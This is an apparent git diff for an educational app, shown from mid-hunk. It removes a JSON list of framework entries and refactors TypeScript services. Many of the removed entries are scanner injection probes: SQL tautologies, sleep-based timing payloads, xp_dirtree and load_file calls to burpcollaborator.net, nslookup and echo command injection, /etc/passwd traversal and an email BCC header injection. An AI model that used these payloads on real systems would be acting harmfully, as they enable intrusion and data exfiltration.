"objectType": "Framework" - }, - { - "identifier": "tester2' and '1430'='1430'", - "code": "tester2' and '1430'='1430'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2g5zxnf3jk7", - "code": "tester2g5zxnf3jk7", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "(select load_file('\\\\\\\\vkjnvvaxzs3d11lr9n3llokn5eb68uzwnoagy5.burpcollaborator.net\\\\sax'))", - "code": "(select load_file('\\\\\\\\vkjnvvaxzs3d11lr9n3llokn5eb68uzwnoagy5.burpcollaborator.net\\\\sax'))", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester279210930' or '5871'='5871", - "code": "tester279210930' or '5871'='5871", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester248958199' or 2481=2487-- ", - "code": "tester248958199' or 2481=2487-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "(select extractvalue(xmltype('%bfzbh;]>'),'/l') from dual)", - "code": "(select extractvalue(xmltype('%bfzbh;]>'),'/l') from dual)", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester247293881' or 4405=4407-- ", - "code": "tester247293881' or 4405=4407-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and 3722=3722-- ", - "code": "tester2' and 3722=3722-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "4kjsymqk16", - "code": "4kjsymqk16", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester260824797' or 8997=9004-- ", - "code": "tester260824797' or 8997=9004-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and '5674'='5674", - "code": "tester2' and '5674'='5674", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "xa0m1mwczeAvo8eozb1wh", - "code": "xa0m1mwczeAvo8eozb1wh", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tmhs9mp9vd\\\\l71wqogbzg", - "code": "tmhs9mp9vd\\\\l71wqogbzg", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "'\">", - "code": "'\">", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2&echo w160xsg5ij s5e9wd8jc6&", - "code": "tester2&echo w160xsg5ij s5e9wd8jc6&", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "1dsudbnwjaÁ\u00819kkl63nadt", - "code": "1dsudbnwjaÁ\u00819kkl63nadt", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and (select*from(select(sleep(20)))a)-- ", - "code": "tester2' and (select*from(select(sleep(20)))a)-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2../../../../../../../../../../../../../../../../etc/passwd", - "code": "tester2../../../../../../../../../../../../../../../../etc/passwd", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2,(select*from(select(sleep(20)))a)", - "code": "tester2,(select*from(select(sleep(20)))a)", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester245057810' or '5261'='5261'", - "code": "tester245057810' or '5261'='5261'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "javascript:/*", - "code": "javascript:/*", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2'+eval(compile('for x in range(1):\\n import time\\n time.sleep(20)','a','single'))+'", - "code": "tester2'+eval(compile('for x in range(1):\\n import time\\n time.sleep(20)','a','single'))+'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2pc2zcxd9tb", - "code": "tester2pc2zcxd9tb", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2'(select*from(select(sleep(20)))a)'", - "code": "tester2'(select*from(select(sleep(20)))a)'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2}}ujzm7'/\"tkja2'/\"tkja2'/\"%iheqp;]>'),'/l') from dual)", - "code": "(select extractvalue(xmltype('%iheqp;]>'),'/l') from dual)", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester254618243' or 4116=4116'-- ", - "code": "tester254618243' or 4116=4116'-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2{${sleep(20)}}", - "code": "tester2{${sleep(20)}}", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2'+sleep(20.to_i)+'", - "code": "tester2'+sleep(20.to_i)+'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2\r\nBCC:muke5mko9jd4bsvijedcvfuef5lxilaey6ly9n@burpcollaborator.net\r\nklj: y", - "code": "tester2\r\nBCC:muke5mko9jd4bsvijedcvfuef5lxilaey6ly9n@burpcollaborator.net\r\nklj: y", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and 1056=1059-- ", - "code": "tester2' and 1056=1059-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": ".../tester2", - "code": ".../tester2", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2'", - "code": "tester2'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2|nslookup -q=cname vbanmv1xqsuds1cr0nulcobnwe26zuvin5ft4.burpcollaborator.net.&", - "code": "tester2|nslookup -q=cname vbanmv1xqsuds1cr0nulcobnwe26zuvin5ft4.burpcollaborator.net.&", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and '8798'='8798'", - "code": "tester2' and '8798'='8798'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2iwjyq6ahpk\\\\lqp7kwydt4", - "code": "tester2iwjyq6ahpk\\\\lqp7kwydt4", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2|ping -c 21 127.0.0.1||x", - "code": "tester2|ping -c 21 127.0.0.1||x", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2'|echo qzvmoxxghi mr5sw5fjn3 #xzwx", - "code": "tester2'|echo qzvmoxxghi mr5sw5fjn3 #xzwx", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and 9292=9292-- ", - "code": "tester2' and 9292=9292-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2';declare @q varchar(99);set @q='\\\\bl03wbbd084t2hm7a341m4l36ucm9a01otblza.burpcollab'+'orator.net\\eyc'; exec master.dbo.xp_dirtree @q;-- ", - "code": "tester2';declare @q varchar(99);set @q='\\\\bl03wbbd084t2hm7a341m4l36ucm9a01otblza.burpcollab'+'orator.net\\eyc'; exec master.dbo.xp_dirtree @q;-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and '8461'='8465", - "code": "tester2' and '8461'='8465", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and '9646'='9647", - "code": "tester2' and '9646'='9647", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester247177148' or '7803'='7803'", - "code": "tester247177148' or '7803'='7803'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and '6593'='6593'", - "code": "tester2' and '6593'='6593'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester293f1nol8a3\\\\l6o9yzmt7b", - "code": "tester293f1nol8a3\\\\l6o9yzmt7b", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and 6847=6847-- ", - "code": "tester2' and 6847=6847-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2ppaoeh3w7m", - "code": "tester2ppaoeh3w7m", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2');declare @q varchar(99);set @q='\\\\i3maeitkifm0ko4esam84b3ao1utrhia62tuhj.burpcollab'+'orator.net\\uqs'; exec master.dbo.xp_dirtree @q;-- ", - "code": "tester2');declare @q varchar(99);set @q='\\\\i3maeitkifm0ko4esam84b3ao1utrhia62tuhj.burpcollab'+'orator.net\\uqs'; exec master.dbo.xp_dirtree @q;-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and 6338=6347-- ", - "code": "tester2' and 6338=6347-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2u3l8lmgdo7", - "code": "tester2u3l8lmgdo7", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2w9dktgydsyAvz7yis6zcy", - "code": "tester2w9dktgydsyAvz7yis6zcy", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester286377973' or 2133=2133'-- ", - "code": "tester286377973' or 2133=2133'-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester251109073' or '5388'='5388", - "code": "tester251109073' or '5388'='5388", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester238439305' or '7819'='7822", - "code": "tester238439305' or '7819'='7822", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "(select load_file('\\\\\\\\4glwr466v1zmxah05wzuhxgw1n7f43v5jx6pue.burpcollaborator.net\\\\edr'))", - "code": "(select load_file('\\\\\\\\4glwr466v1zmxah05wzuhxgw1n7f43v5jx6pue.burpcollaborator.net\\\\edr'))", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2);declare @q varchar(99);set @q='\\\\wbbomw1yqtues2cs0oumcpbowf27zvqnef17pw.burpcollab'+'orator.net\\dvx'; exec master.dbo.xp_dirtree @q;-- ", - "code": "tester2);declare @q varchar(99);set @q='\\\\wbbomw1yqtues2cs0oumcpbowf27zvqnef17pw.burpcollab'+'orator.net\\dvx'; exec master.dbo.xp_dirtree @q;-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester221752596' or 5075=5075'-- ", - "code": "tester221752596' or 5075=5075'-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "niit1", - "code": "niit1", - "name": "NIIT", - "objectType": "Framework" - } - ], "createdOn": "2018-01-25T05:40:03.251+0000", "versionKey": "1516858803251", "appId": "ekstep_portal", diff --git a/src/pages/profile/formandframeworkutil.service.ts b/src/pages/profile/formandframeworkutil.service.ts index 3b782b8c2..dbdf16626 100644 --- a/src/pages/profile/formandframeworkutil.service.ts +++ b/src/pages/profile/formandframeworkutil.service.ts @@ -243,7 +243,7 @@ export class FormAndFrameworkUtilService { req.frameworkId = frameworkId; } - this.framework.getFrameworkDetails(req) + this.framework.getAllCategories(req) .then(res => { resolve(res); }) @@ -406,7 +406,7 @@ export class FormAndFrameworkUtilService { if (categoryKeysLen === keysLength) { const req: Profile = new Profile(); if (profile.board && profile.board.length > 1) { - profile.board.splice(1, profile.board.length); + profile.board.splice(1, profile.board.length); } req.board = profile.board; req.grade = profile.grade; @@ -419,26 +419,26 @@ export class FormAndFrameworkUtilService { req.source = profileData.source; req.createdAt = profileData.createdAt || this.formatDate(); this.preference.getString('current_framework_id') - .then(value => { - req.syllabus = [value]; - this.profileService.updateProfile(req) - .then((res: any) => { - const updateProfileRes = JSON.parse(res); - this.events.publish('refresh:loggedInProfile'); - if (updateProfileRes.board && updateProfileRes.grade && updateProfileRes.medium && - updateProfileRes.board.length && updateProfileRes.grade.length - && updateProfileRes.medium.length - ) { - resolve({status: true}); - } else { - resolve({status: false, profile: updateProfileRes}); - } - }) - .catch((err: any) => { - console.error('Err', err); - resolve({status: false}); + .then(value => { + req.syllabus = [value]; + this.profileService.updateProfile(req) + .then((res: any) => { + const updateProfileRes = JSON.parse(res); + this.events.publish('refresh:loggedInProfile'); + if (updateProfileRes.board && updateProfileRes.grade && updateProfileRes.medium && + updateProfileRes.board.length && updateProfileRes.grade.length + && updateProfileRes.medium.length + ) { + resolve({ status: true }); + } else { + resolve({ status: false, profile: updateProfileRes }); + } + }) + .catch((err: any) => { + console.error('Err', err); + resolve({ status: false }); + }); }); - }); } }); } else { @@ -446,7 +446,7 @@ export class FormAndFrameworkUtilService { } } } else { - resolve({status: false}); + resolve({ status: false }); } }); diff --git a/src/pages/view-more-activity/view-more-activity.ts b/src/pages/view-more-activity/view-more-activity.ts index 3af8007c3..1ef6d68fb 100644 --- a/src/pages/view-more-activity/view-more-activity.ts +++ b/src/pages/view-more-activity/view-more-activity.ts @@ -252,7 +252,6 @@ export class ViewMoreActivityPage implements OnInit { } } - /** * Mapper to call api based on page.Layout name */ @@ -466,10 +465,6 @@ export class ViewMoreActivityPage implements OnInit { } showDisabled(resource) { - console.log("showDisabled", resource); - console.log('resource.isAvailableLocally', resource.isAvailableLocally); - console.log('this.commonUtilService.networkInfo.isNetworkAvailable', this.commonUtilService.networkInfo.isNetworkAvailable); - console.log(!resource.isAvailableLocally && !this.commonUtilService.networkInfo.isNetworkAvailable); return !resource.isAvailableLocally && !this.commonUtilService.networkInfo.isNetworkAvailable; } diff --git a/src/service/app-global.service.ts b/src/service/app-global.service.ts index f95474fd2..4d697d8cf 100644 --- a/src/service/app-global.service.ts +++ b/src/service/app-global.service.ts @@ -343,7 +343,7 @@ export class AppGlobalService implements OnDestroy { .catch(error => { this.OPEN_RAPDISCOVERY_ENABLED = false; }); - this.buildParamService.getBuildConfigParam(GenericAppConfig.SUPPORT_EMAIL) + this.buildParamService.getBuildConfigParam(GenericAppConfig.SUPPORT_EMAIL) .then(response => { this.SUPPORT_EMAIL = response; }) @@ -353,29 +353,31 @@ export class AppGlobalService implements OnDestroy { } private getCurrentUserProfile() { - this.profile.getCurrentUser().then((response: any) => { - this.guestUserProfile = JSON.parse(response); - if (this.guestUserProfile.syllabus && this.guestUserProfile.syllabus.length > 0) { - this.getFrameworkDetails(this.guestUserProfile.syllabus[0]) - .then((categories) => { - categories.forEach(category => { - this.frameworkData[category.code] = category; + this.profile.getCurrentUser() + .then((response: any) => { + this.guestUserProfile = JSON.parse(response); + if (this.guestUserProfile.syllabus && this.guestUserProfile.syllabus.length > 0) { + this.getFrameworkDetails(this.guestUserProfile.syllabus[0]) + .then((categories) => { + categories.forEach(category => { + this.frameworkData[category.code] = category; + }); + + this.event.publish(AppGlobalService.PROFILE_OBJ_CHANGED); + }).catch((error) => { + this.frameworkData = []; + this.event.publish(AppGlobalService.PROFILE_OBJ_CHANGED); }); - - this.event.publish(AppGlobalService.PROFILE_OBJ_CHANGED); - }).catch((error) => { - this.frameworkData = []; - this.event.publish(AppGlobalService.PROFILE_OBJ_CHANGED); - }); - this.getProfileSettingsStatus(); - } else { - this.frameworkData = []; + this.getProfileSettingsStatus(); + } else { + this.frameworkData = []; + this.event.publish(AppGlobalService.PROFILE_OBJ_CHANGED); + } + }) + .catch((error) => { + this.guestUserProfile = undefined; this.event.publish(AppGlobalService.PROFILE_OBJ_CHANGED); - } - }) .catch((error) => { - this.guestUserProfile = undefined; - this.event.publish(AppGlobalService.PROFILE_OBJ_CHANGED); - }); + }); } // Remove this method after refactoring formandframeworkutil.service @@ -390,7 +392,7 @@ export class AppGlobalService implements OnDestroy { req.frameworkId = frameworkId; } - this.framework.getFrameworkDetails(req) + this.framework.getAllCategories(req) .then(res => { resolve(res); })